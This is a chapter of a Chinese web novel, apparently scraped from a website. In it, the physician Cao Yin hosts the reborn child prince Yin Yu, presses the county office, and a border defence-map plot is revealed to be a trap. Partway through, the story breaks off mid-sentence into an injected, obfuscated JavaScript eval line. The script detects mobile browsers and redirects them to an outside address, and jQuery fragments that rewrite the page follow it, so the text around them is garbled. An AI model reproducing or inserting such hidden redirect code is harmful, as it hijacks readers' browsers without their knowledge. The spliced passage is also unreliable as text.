午后斜阳照在殷予身上,不仅给他镀上了一层金光,也让曹茵心里暖洋洋的,她唇角微微勾起,真好,她有一种靠山来了的感觉!
“快,进来坐坐,你们怎么突然来黑水城了?”话甫出口,她自觉失言,她怎么能询问这么私密的问题呢!转而问道,“你们住在哪里呀?这趟来黑水城住多久?”
三人明显被她这异常的热情惊住了,要知道曹娘子惯来有礼却淡淡的。
但三人也都是人精,很快回过神,笑着进了医药馆。
何四是第一次见自家娘子这般热情,好奇的多看了进来的三人几眼,被那位面容严厉的嬷嬷逮个正着,他慌忙地低下头。
曹茵是真的高兴,“医药馆没有专门的待客的地方,咱们就凑合着去诊疗区坐坐吧。”指着那用木板隔开的区域道。
进去前,冲后院喊道:“李婆子,上四碗茶,其中一碗不放茶叶。”在这边待久了,她也渐渐习惯了喊着说话。
曹茵引众人路过药香氤氲的木柜,诊疗区的竹帘半卷着,昨夜春雨下的突然,驱散了前段时日的闷热。
进去后一打眼便见着一个长案几,案几上的文房四宝摆放得规整有序,镇纸压着墨迹未干的笺纸,两侧的木椅上,此刻并没有郎中和病患的身影。
两张诊疗床默立墙边,顶部上挂着浅色的帘子,这会正拢在一起用绳子扎住。视线一转,就看到了另一边的方桌和四张椅子,这里估计就是曹娘子所说的待客之处。
坐下没多会儿,李婆子端着放着四个盖碗的木盘进来了,将盖碗放在四人面前,她便退下了。
“来,喝一喝,这是这边当地人常喝的盖碗茶,里面除茶叶外,还有红枣、桂圆、枸杞、冰糖,口感比起苦涩清香的茶水更添了几分别的味道。”曹茵端起盖碗,掀开茶盖,先闻嗅再又喝了一口:“天气开始燥起来,我额外添了些菊花。”
对面三人虽是从宫中出来的,但却是第一次听说这盖碗茶,殷予年幼,贵妃向来禁他饮茶。至于这趟出来,哪怕殷予是主子,但生活上的事情,还是得听金嬷嬷的安排。
金嬷嬷掀开茶盖,看了看泡在里面的东西有茶叶,一时间也不确定殷予能不能喝。
曹茵解释道:“小殿下这碗未放茶叶,只有红枣、枸杞和菊花,可以适量喝一些,最宜养元。”
金嬷嬷想起来刚才曹娘子似是提醒过,笑道:“曹娘子还是如此细心。”
殷予听到曹茵这么说,打开茶盖,低头饮了一小口,看向曹茵,眼中闪着光:“甜的。”粉色小舌舔了舔唇,又喝了一口。
殷予:“我们这趟跟着壌州城的大将军一起来的,现住在都尉府,至于在黑水城待多久……”殷予眼珠转了转,摊手,“我也不知道,想回去了,就回去了。”话语间满满的稚气未脱的任性。
但,曹茵才不信。
垂眸吹了吹茶沫,借着动作掩去眼中的想法:“你这个时间来挺好,春暖花开,那些西域行商也陆续抵达黑水城,热闹。”六岁大的皇子,能出宫一趟,已是皇帝和贵妃娘娘心大了,出行地点和回程时间肯定早已定好,哪能如他说的这般自由。
殷予点头,“是,我今日坐在马车上,瞧见了好些个身着异域服饰的人,他们还牵着头背上有两个高马鞍的……”眼中的好奇一点也不似作假,上一世他一直在京城,直到父皇驾崩,新帝登基后才被放出京城,那会儿的他经历过娘亲早死,历经兄弟阋墙的夺嫡之争,心态和性格早已大变,去到哪儿都觉得没多大意思。但这一世,爹娘尚在,兄弟争斗虽露出端倪来了,但他这不是找了由头跑出京城来了嘛!
殷予抓着碗沿猛灌一口,甜味漫开时忽地前倾身子,小脚不由踢到了桌脚:“黑脸脸你怎就入了两次牢狱?”嗓音依然稚气。
曹茵指尖不由颤了颤,她倒是没想到殷予会如此直接,莞尔一笑,答道:“可不就是,两次连着入狱,”好奇怪,跟这六岁小童说话,却一点都没当他是个孩子,“要不是有人帮一把,或许你今日来医馆还见不着我。”这话她也没瞎说。
曹茵目光若有似无地扫过殷予身后那尊青瓷花瓶。很快,她垂下眼帘,睫毛微微颤动:“不过,要是看到我在狱中,你会帮我的吧?”语气轻柔,却暗藏锋芒。那里面藏着蔡婆子偷放在后院里的诬陷证据,她实在是没得别的地方藏,便藏在了这里。
殷予眼睛灵活转动一圈,红润的小嘴一张,“那可不好说,要是真犯了事,我也帮不了。”
“哈哈哈哈,”曹茵先是笑了几声,好奇问:“怎么不见侍卫?”以殷予的身份,哪能在外没得侍卫随行。
殷予摆摆手,嘴角微微上扬,眼中闪过一丝狡黠:“没事,也只是明面上没有罢了。”他看向曹茵,笑眯着眼,指尖在茶碗边缘轻轻摩挲:“至于说这趟随我来黑水城的赵统领,现在正跟着大将军在都尉府,见肖志和崔德去了。”语气轻松。
曹茵露出惊讶的神情。
殷予鼓着腮帮子不耐烦道:“少来这一套,信上怎么写的难道忘记了?要不是你那封信,我也不会来黑水城。”
曹茵扬了扬唇,在聪明人面前装傻是有点傻哦!
但殷予这小孩一点也不可爱,怎么大剌剌地说出来呢!
其实她在去信中写明这个,也只是觉得这事实在是奇怪,却没想到殷予会因此来一趟黑水城。
面上不显,但曹茵内心却是有了计量。
曹茵转移话题道:“路上随行的是太医院哪位大人呀?”许老医官年岁大了,这趟来西北可不比去云洲,再说这趟也没有贵妃娘娘在,所以很大可能这趟并不是他随行。
殷予低头喝茶,没回答。
从竹瞧了眼饮茶后双颊圆鼓鼓的殷予,笑道:“是许小医官,许老医官的小儿子。”
曹茵看向殷予,哄道:“好了,好了,我知道你是因我那封信而来,很欢喜。不过,既然侍卫不在身边,不若你们先回都尉府,毕竟这黑水城是边城,还是要顾及安全。”
黑水城里人杂,殷予这穿着打扮一看就像是权贵人家的小公子,谁知道会不会有人起了坏心思。
殷予还想说些什么,但曹娘子这话说到了金嬷嬷心坎里,她道:“是了,再说都尉府那边或许还需要小主子里下决断呢,曹娘子这,咱们既然认过门了,回头带上赵统领再来便是。”
“是了,”说到此,曹茵起身往药柜那走:“我给你们配备一些这茶饮,回去让那都尉府的丫鬟婆子给你们泡着喝。”
殷予:……
他两辈子也是第一次遇到主人家送茶包送客的!
曹茵站在医药馆门前,阳光如针芒般刺入她的瞳孔,马车轮廓在灼热的光晕中逐渐模糊。
回到诊疗区,喊来李婆子收拾茶碗,她去了县衙。站在县衙古朴却不失威严的大门外,她深吸一口气,昂首跨进去。
经历了上回堂审,这县衙里的人谁不认识曹茵,从她站在门口前,便有那灵泛的通知了县令和县尉。
曹茵很快见到了县尉何大人,只不过比起上两回,这何大人今日明显是不“敢”直面自己,谈话间,曹茵几次抬眼看向何县尉,却被他匆忙垂眸避过。
曹茵微微眯起眼睛,目光似锐利的箭,直直地射向何县尉,试图从他闪躲的眼神中找到一丝破绽。
“何大人,前事未了,曹茵一直挂心,还望县衙能够重视。”曹茵的声音不卑不亢,在房间里回荡。
何县尉眼神闪烁,几次欲言又止,似有难言之隐。“曹娘子放心,县衙定会……”
曹茵耐着性子听他说完话语,才神色严肃道:“何大人,此事关系重大,还望不要敷衍才是。”以她上一世的经历来推断,很多事情需要自己去争取。
何县尉额头的汗珠沿着鬓角滑落,滴在案卷上,晕开一圈墨渍。他慌忙垂眸,移开案卷,也顺势避开了曹茵如炬的目光,“是,曹娘子所言极是,我等定会尽力查办。”
曹茵心中冷笑,但她也不多纠缠,“既如此,曹茵便静候结果。”说罢,告辞离开。
出县衙门时,正好遇到包老太的家人,她朝那些人看去,那些人看见她,似是看到了什么洪水猛兽一般,灰溜溜地跑了。
曹茵脚步一转,径直走向后巷街。轻叩常家院门时,却是一直盯着隔壁齐老三家的房子。
“茵娘,你怎么来了,快,进来说话。”开门的舒娘子瞧见门外的曹茵,赶忙让她进来,“原本我们打算明日去医药馆,没想到你今日先过来了。”都知道曹茵前几日遭了罪,所以哪怕她回了家,她还是决定缓些时候再去医药馆。
曹茵笑道:“其实还好,”遭罪是遭了,但更多的是下狱加上预知梦的双重打击,单单只说下狱这件事本身,反倒是让她有种悬着的石头落下了些的感觉,“常大哥在家吗?我来这趟是找他说事的。”
“在家。”常大庄高大的身影从杂房里出来。
舒娘领着曹茵去了堂屋说话,常大庄去灶房烧热水,倒上热茶才进去的堂屋,将茶杯放在茶几上,问道:“曹娘子找我何事?”
曹茵:“格日勒上午来找我说买药丸之事,他那边要的数量不少,上回去峡靖郡进来的药材不够,所以……”眼睛看向对面夫妇俩,她歉意一笑:“可能常大哥又要出去一趟了。”
药丸生意要做起来,药材的价格和质量便不能差。
“这一趟若是可以,常大哥多带些好手过去,毕竟是头一回自己跑,而且,周家那边的态度还真不好说。”
常大庄瞬间明白曹茵的顾虑,是了,当日公堂之上发生的事情,他也看在了眼里,细想一番便也知道曹娘子应是得罪了权贵,至于具体得罪了谁,黑水城就这么丁点大,也不难猜。
“好,这趟我多喊些人一起。但这样,货若进的少了,便不划算了。”喊人他可以,但要是保证不了收益,这便是人情。
曹茵暗自盘算着药材的成本与利润。“常大哥,”她抬眼看向常大庄,“明日咱们再碰头,商量如何安排。”窗外忽然传来一阵驼铃声,她想起格日勒想要买的金疮药,眉头微蹙。
“行!”
事情聊完,常大庄根本等不及,出门去找他那些弟兄去了。
曹茵便跟舒娘姐说了今日在县衙遇到包老太一家子的事,“也不知道他们那一家子为了躲我去了哪,刚才在门外,没听到那边的动静。”
舒娘一脸八卦拉着曹茵道:“没听到动静那是因为他们搬走了。”
曹茵还真没想到会是这个答案,一脸好奇地看向舒娘姐。
“那日堂审,她们家没有一个人去看的,反倒是齐老三夫妇去了,回来时带上了衙门的衙役。齐老三媳妇说,要是他们还不搬走,她就继续去县衙报案,让他们一家子都跟包老太在县衙团聚……然后,今早那些人便找来驴车,将东西一收拾,灰溜溜地回村了……”舒娘也没想到这十多年没有结论的事,就这么十来天便办妥了。
提到包老太,曹茵不仅回想起了县衙牢狱的情况,慌忙喝了口热茶,压下心中泛起的冷意,“这齐老三的媳妇如何这般厉害了?”最开始那懦弱到都没能护住肚子里的孩子,现如今也变得如此果断,还懂得借力了。
“可不就是,所以你常大哥让我少跟隔壁的接触,也不知道那看着软和的人,为何一下子就这般了,”舒娘犹豫再三,还是提醒道:“你说那包老太这般对你,”下颌往城北点了点,“是不是有那一位的手笔?”坊间都在传,曹娘子这趟牢狱之灾是因为她得罪了鹿鸣巷的贵人,至于为何得罪的,瞧那贵人尚未鼓起来的肚子便知了呗,肯定是未能如愿的泄愤!
“常大哥这话没错。”曹茵拧眉点头道:“至于是不是那位的手笔,得看衙门如何判,”这事她身为被加害者,不宜多说,又想着自家找出来的证据,“细作之事不好说,可别被有心人钻了空子。”
这段时间,她可是真真切切体会到了防人之心不可无。
舒娘点头应下。
*
殷予才从马车上下来,就见大将军领着都尉和赵虎大步走来,三人见到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377974|137042||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
殷予,行了礼,赵虎道:“主子,我适才跟两位公子单独聊了聊,”想着肖志那没当自己是回事的模样,而崔德沉默的模样,他有些无奈:“若是不上刑,应是没有用。”
殷予板着脸瞧了一旁半垂着头的胡达一眼,没说话。
见殷予沉默不语,大将军提议:“这事还得再合计合计,不若咱们找个地方细聊?”
胡达赶忙领着他们去了前院书房,要说府上最安全的地方,非这里莫属了。
等到大家都坐定,小厮送完茶水,大将军:“胡都尉,你信中所说,肖志手上的黑水城关隘布防图,是贵夫人泄露出去的,不知,这件事,你除了告诉我们外,可有上呈陛下?”一般的都尉没有直达皇上奏折的权利,但边城的都尉可以。
胡达眼角余光瞧见,坐在一旁安静把玩着羊脂玉环的殷予,答道:“尚未上呈。”不自觉的将手心的汗水擦在了衣摆之上。
因而没有瞧见殷予手指无意识地摩挲玉环,指节因用力而泛白的一幕。
“为何?”
“末将并不能完全确定。”实则是,他原本打算等事情有了结论后才呈上去,胡达的视线无意识扫过书房角落的沙盘,硬着头皮提议道:“末将以为,小殿下最好便是即刻离开边城,免得……。”
“免得如何?”殷予稚气未消的声音说着凌厉的话语:“免得因为有了黑水河的关隘图,所以番邦大军会进攻黑水城?还是免得我在此,你不好救你家夫人?”虽说这趟来之前,父皇让他帮他关爱下边关将领的心,但他哪知道这胡大人竟然糊涂至此,将边城的关隘图丢失了!
都尉大人猛地抬头看向殷予,眼中的惶恐完全没有隐瞒,而正是他眼中的惶恐,激起了殷予上一世深埋于心不愿触及的回忆。
羊脂玉环的温润突然变得灼烫,殷予指尖微颤,无意识摩挲玉环,原本是想借助这个动作压下心中的怒火,但脑中不断闪现的画面,呼吸也越发急促,最后他手猛地在桌上一拍,手上的羊脂玉环碎裂开来,鲜红的血滴在了莹白的羊脂玉之上。
“轰隆隆!”霎那间,黑水城上空乌云密布,惊雷骤起。殷予侧着脸,神情掩在了黑暗之中,“胡大人,你说我父皇要是知道他器重的边关将领竟泄露了关隘图出去,会是何反应!”
赵虎慌忙起身,将殷予手边的碎玉弄掉,拿出金疮药来涂抹。
胡都尉慌忙跪在地上,垂头道:“末将罪该万死,还请小殿下留下末将一命赎罪!”
“赎罪?!”想着上一世边关传来的那些战报,殷予顿时火冒三丈,折损名录上每道“你拿何来赎罪?是你那胆大妄为的夫人的命,还是你这优柔寡断的命?你可知那些儿郎均是我陈朝的基石!那些新坟…皆是…你之过!”上一世半年后的战役让陈朝损失惨重,也让一辈子没低过头的父皇,答应了番邦部落王庭的休战协议!
但这不是胜利的协议,而是妥协的协议,这协议,是父皇的心病,也是他们陈朝的心病,父皇哪怕崩逝前,都反复叮嘱着大臣们,千万要守好这黑水城,陈朝的疆土,陈朝的军民,一个都不能少!
可惜,也就在父皇崩逝后的第三年,黑水城便成了番邦的,直至自己身死,也没能回到陈朝的疆域图中。
室外狂风骤起,吹的窗棂吱呀乱响。
大将军道:“胡都尉,你还不将这件事都跟殿下说清楚。”
殷予看向大将军,这话何意?难道这件事还有什么他不清楚的内情。
“他们得到的那一份关隘图,三分真,七分假。”
殷予皱眉,“都尉大人,起来说话。”
胡达起身坐下,也没隐瞒,将事情都说了。
原来在肖志和崔德抵达黑水城前,都尉大人便已准备好了半真半假的几份布防图,静候着那别有目的之人出手,只是没想到的是,这人的内应是周夫人而已。
一时间,室内陷入落针可闻的安静之中。殷予凝视着桌上的药瓶,陷入沉默;胡都尉喉结滚动;大将军端起茶盏喝了口茶,喉咙吞咽茶水的声音在此刻十分明显。
殷予:真假布防图,失窃,周夫人,父皇同意他来黑水城,这一切的一切,是不是全是一盘棋,而他,也是棋盘中的一枚棋子而已?
这时候,下起了大雨,噼里啪啦的,落在黑瓦之上特别响脆。
“下冰粒子了,不是雨,是冰粒子。”外面下人们的奔走相告声,刺破了室内短暂的宁静。
冰粒子砸落在黑瓦上,发出清脆而又凌厉的声响,恰似殷予此刻内心的纷乱与迷茫。低头喝了口有些凉的茶水,脑中一直在问自己,父皇这是为何?
“所以,就算是得到这一份关隘图也不会影响陈朝的边防?”殷予喃喃道,脑中思绪万千,他抓住了一缕,追问道:“肖志并不傻,为何会信了这关隘图是真的?”若肖志还是京城纨绔子弟肖公子,自然想的不会那么多,但肖志既然敢来这黑水城,他身后之人放心让他来,便是有自信他能完成这任务。
胡达看向大将军,没说话。
殷予和赵虎的眼神也看向大将军。
“咳,那崔侯爷家的公子,其实是假意顺了肖志的威胁去到他身边潜伏,而崔德知道哪部分的关隘是真。”大将军端起茶盏,喝了一口,“这事皇上也知道。”
“轱辘”一声,赵虎失手将桌上的圆鼓鼓的药瓶给弄倒了,好在他在药瓶掉落桌前,一把扶住。
“所以不能对崔德出手?才没用刑?”殷予疑惑道。胡都尉不能这么蠢吧,难道不能一个真打一个假打,“还是说对方有什么拿捏住了你?让你的不刑讯有理可据。”
胡都尉起身,跪下,“末将唯一的儿子被他们抓离了府里。”
殷予叹口气,这事情的发展,怎么越来越复杂了!
他不知道的是,远在京城的皇宫,御书房内弥漫着一股压抑的气息。皇上坐在宽大的书桌后,目光紧锁在摊开放在面前的边关信笺上。朱笔悬在半空,迟迟未落,墨滴从笔尖缓缓滑落,‘啪’的一声,污了‘黑水’二字。